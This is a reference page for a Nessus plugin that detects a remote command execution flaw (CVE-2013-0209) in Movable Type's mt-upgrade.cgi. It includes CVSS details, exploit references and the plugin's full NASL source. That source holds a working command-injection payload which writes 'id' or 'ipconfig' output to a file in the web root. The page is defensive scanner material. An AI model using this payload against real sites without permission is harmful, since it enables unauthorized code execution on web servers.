Movable Type mt-upgrade.cgi Remote Command Execution - Nessus

High Plugin ID: 64096

This page contains detailed information about the Movable Type mt-upgrade.cgi Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 64096
Name: Movable Type mt-upgrade.cgi Remote Command Execution
Filename: movabletype_mt_upgrade_command_exec.nasl
Vulnerability Published: 2013-01-07
This Plugin Published: 2013-01-25
Last Modification Time: 2022-04-11
Plugin Version: 1.15
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: movabletype_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: www/movabletype

Vulnerability Information

Severity: High
Vulnerability Published: 2013-01-07
Patch Published: 2013-01-07
CVE [?]: CVE-2013-0209
CPE [?]: cpe:/a:sixapart:movable_type

Synopsis

A blog running on the remote web server is affected by a command execution vulnerability.

Description

The Movable Type install hosted on the remote web server is affected by a remote command execution vulnerability because the 'lib/MT/Upgrade.pm' file used in mt-upgrade.cgi script fails to verify authentication for requests used in database migration functions. This could allow an unauthenticated, remote attacker to form a specially crafted request and inject arbitrary commands, which could execute with the privileges of the web server user. An attacker could also utilize this vulnerability to execute arbitrary code on the remote host.

The application is also reportedly affected by a SQL injection vulnerability in mt-upgrade.cgi; however, Nessus has not tested for this issue.

Solution

Upgrade to version 5.0 or later, or apply the patch in the referenced URL for version 4.38.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Movable Type mt-upgrade.cgi Remote Command Execution vulnerability:

Metasploit: exploit/multi/http/movabletype_upgrade_exec
[Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution]
Exploit-DB: exploits/multiple/remote/24321.rb
[EDB-24321: Movable Type 4.2x/4.3x - Web Upgrade Remote Code Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.2 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(64096);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2013-0209");
  script_bugtraq_id(57490);
  script_xref(name:"EDB-ID", value:"24321");

  script_name(english:"Movable Type mt-upgrade.cgi Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"A blog running on the remote web server is affected by a command
execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Movable Type install hosted on the remote web server is affected by
a remote command execution vulnerability because the 'lib/MT/Upgrade.pm'
file used in mt-upgrade.cgi script fails to verify authentication for
requests used in database migration functions.  This could allow an
unauthenticated, remote attacker to form a specially crafted request and
inject arbitrary commands, which could execute with the privileges of
the web server user.  An attacker could also utilize this vulnerability
to execute arbitrary code on the remote host. 

The application is also reportedly affected by a SQL injection
vulnerability in mt-upgrade.cgi; however, Nessus has not tested for this
issue.");
  script_set_attribute(attribute:"see_also", value:"https://www.sec-1.com/blog/2013/402");
  script_set_attribute(attribute:"see_also", value:"https://movabletype.org/news/2013/01/movable_type_438_patch.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 5.0 or later, or apply the patch in the referenced
URL for version 4.38.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/07");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/01/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/25");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:sixapart:movable_type");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("movabletype_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/movabletype");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80);

install = get_install_from_kb(
  appname:"movabletype",
  port:port,
  exit_on_fail:TRUE
);

dir = install["dir"];
install_url = build_url(qs:dir, port:port);
vuln = FALSE;

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';
  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";


# Verify that mt-upgrade.cgi is accessible
url = "/mt-upgrade.cgi";
res = http_send_recv3(
  method       : "GET",
  item         : dir + url,
  port         : port,
  exit_on_fail : TRUE
);

if ("<title>Upgrade Check | Movable Type" >!< res[2]) exit(0, "The Movable Type script 'mt-upgrade.cgi' is not accessible at " + install_url + url);

token = (SCRIPT_NAME - ".nasl") + "-" + unixtime() + ".txt";

foreach cmd (cmds)
{
  # define attack payloads
  if (cmd == 'id')
  {
     payload = "__mode=run_actions&installing=1&steps=[[" +
    '"core_drop_meta_for_table","class","`{ ' +cmd+'; pwd; }>' +token+ '`"]]';
  }
  else
  {
    payload = "__mode=run_actions&installing=1&steps=[[" +
    '"core_drop_meta_for_table","class","`' +cmd+ '>' +token+
     '%26%26dir>>' +token+ '`"]]';
  }

  payload = urlencode(
    str        : payload,
    unreserved : 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.!~-+$=[]&"%{}',
    case_type  : HEX_UPPERCASE
  );

  # Send POST request to execute commands & save the output
  res = http_send_recv3(
    port        : port,
    method      : "POST",
    item        : dir + url,
    data        : payload,
    add_headers :make_array("Content-Type","application/x-www-form-urlencoded"),
    exit_on_fail: TRUE
  );
  exp_request = http_last_sent_request();

  # Try accessing the file we created
  res2 = http_send_recv3(
    method       : "GET",
    item         : dir + "/" + token,
    port         : port,
    exit_on_fail : TRUE
  );
  output = res2[2];

  if (egrep(pattern:cmd_pats[cmd], string:output))
  {
    vuln = TRUE;
    get_up_path = "" + token;

    # Extract path for reporting
    if (cmd == 'id')
    {
      get_path = strstr(output, "/");
      get_up_path = chomp(get_path) + "/" + token;
      output = strstr(output, "uid") - get_path;
    }
    else
    {
      get_path = strstr(output, "Volume in drive");
      output = strstr(output, "Windows IP") - get_path;
      get_dir = egrep(pattern:"Directory of (.+)", string:get_path);
      if(!isnull(get_dir))
         get_up_path = chomp((get_dir - " Directory of ")) + '\\' + token;
    }
    break;
  }
}

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, "Movable Type", install_url);

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);

  report =
    '\nNessus was able to verify the issue exists using the following request :' +
     '\n' +
     '\n' + install_url + '/' + token +
     '\n' +
     '\nNote: This file has not been removed by Nessus and will need to be' +
     '\nmanually deleted (' + get_up_path + ').' +
     '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\nThis file was uploaded using the following request :' +
      '\n' +
      '\n' + snip +
      '\n' + exp_request +
      '\n' + snip +
      '\n' +
      '\n' + 'The file uploaded by Nessus executed the command "'+cmd+ '"' +
      '\nwhich produced the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/movabletype_mt_upgrade_command_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\movabletype_mt_upgrade_command_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/movabletype_mt_upgrade_command_exec.nasl

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How to Run

Here is how to run the Movable Type mt-upgrade.cgi Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Movable Type mt-upgrade.cgi Remote Command Execution plugin ID 64096.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl movabletype_mt_upgrade_command_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a movabletype_mt_upgrade_command_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - movabletype_mt_upgrade_command_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state movabletype_mt_upgrade_command_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

57490

See also:

Similar and related Nessus plugins:

63648 - Debian DSA-2611-1 : movabletype-opensource - several vulnerabilities
81793 - Debian DSA-3183-1 : movabletype-opensource - security update

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file movabletype_mt_upgrade_command_exec.nasl version 1.15. For more plugins, visit the Nessus Plugin Library.

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Movable Type mt-upgrade.cgi Remote Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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